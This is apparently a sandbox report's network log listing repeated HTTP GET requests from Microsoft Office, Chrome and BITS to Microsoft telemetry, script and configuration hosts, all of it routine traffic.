Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: 0x8DCEC757C1AD1D1If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Range: bytes=179335-179335If-Range: 0x8DCEC757C1AD1D1
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
